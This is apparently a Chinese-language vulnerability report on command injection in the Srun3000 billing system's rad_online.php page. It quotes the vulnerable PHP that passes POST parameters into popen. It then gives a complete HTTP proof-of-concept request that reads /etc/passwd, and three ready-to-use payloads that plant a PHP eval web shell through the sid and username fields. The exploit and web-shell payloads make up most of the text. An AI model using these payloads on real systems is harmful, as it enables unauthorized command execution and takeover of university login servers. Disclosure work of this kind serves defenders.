### 简要描述：
Srun3000计费系统无限制任意命令执行getshell
### 详细说明：
文件：
/en_us/rad_online.php
srun3/web/online.php 4-76行
srun3/web/rad_online.php 4-76行
```
if($_POST["action"]=="dm")
{
$cmd = "/srun3/bin/rad_drop -sdm ".$_POST["sid"];
if($fp=popen($cmd, "r"))
{
$con = fread($fp, 128);
pclose($fp);
}
$con = str_replace( "\n", " ", $con);
echo $con;
exit;
}
else if($_POST["action"]=="dm1")
{
$cmd = "/srun3/bin/rad_drop -sdm ".$_POST["sid"];
if($fp=popen($cmd, "r"))
{
$con = fread($fp, 128);
pclose($fp);
}
$con = str_replace( "\n", " ", $con);
if(strstr($con, "1"))
{
$cmd = "/srun3/bin/set_user mac_auth ".$_POST["username"]." ".$_POST["mac"]." stop";
if($fp=popen($cmd, "r"))
{
//$con = fread($fp, 128);
pclose($fp);
}
}
echo $con;
exit;
}
$username=trim($_POST["username"]);
$password=trim($_POST["password"]);
//echo $username.",".$password;
//校验用户
if($username != "" && $password != "")
{
$cmd = "/srun3/bin/show_user ".$username. "|grep user_password_ori";
echo $username;
if($fp=popen($cmd, "r"))
{
$con = fread($fp, 128);
pclose($fp);
if($con == "")
{
echo "用户不存在！";
}
$con = substr($con, 19);
if($password."\n" != $con)
{
echo "密码错误";
exit;
}
else
{
$cmd = "/srun3/bin/online_user -r -u ".$username;
if($fp=popen($cmd, "r"))
{
$con = fread($fp, 2048);
pclose($fp);
//echo $con;
}
$arr = explode("\n", $con);
}
}
else
{
exit;
}
}
```
poc：
```
POST /rad_online.php HTTP/1.1
Host: login.***.edu.cn
Proxy-Connection: keep-alive
Content-Length: 52
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://login.***.edu.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://login.***.edu.cn/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
action=dm&sid=1|cat /etc/passwd > /srun3/web/f.txt
```
sid、username、mac都存在命令执行漏洞
getshell1：
```
action=dm&sid=1||echo "<?php eval(\$_POST[cmd]);?>" > /srun3/web/s.php
```
getshell2：
```
action=dm1&sid=1||echo "<?php eval(\$_POST[cmd]);?>" > /srun3/web/s.php
```
getshell3：
```
username=1|echo "<?php eval(\$_POST[cmd]);?>" > /srun3/web/s.php&password=123
```
### 漏洞证明：
[<img src="https://images.seebug.org/upload/201410/271200550e3cb4c84bd2983a00c6006edea7654e.jpg" alt="25192531a047f03c42babcce01508bcf10891a77.png.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/271200550e3cb4c84bd2983a00c6006edea7654e.jpg)
[<img src="https://images.seebug.org/upload/201410/27120122f1c36a74e66914f418b4092c5392fc48.jpg" alt="2519240121e3806c0904abbbbbc5733c84158b91.png.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/27120122f1c36a74e66914f418b4092c5392fc48.jpg)
京公网安备 11010502034610号
暂无评论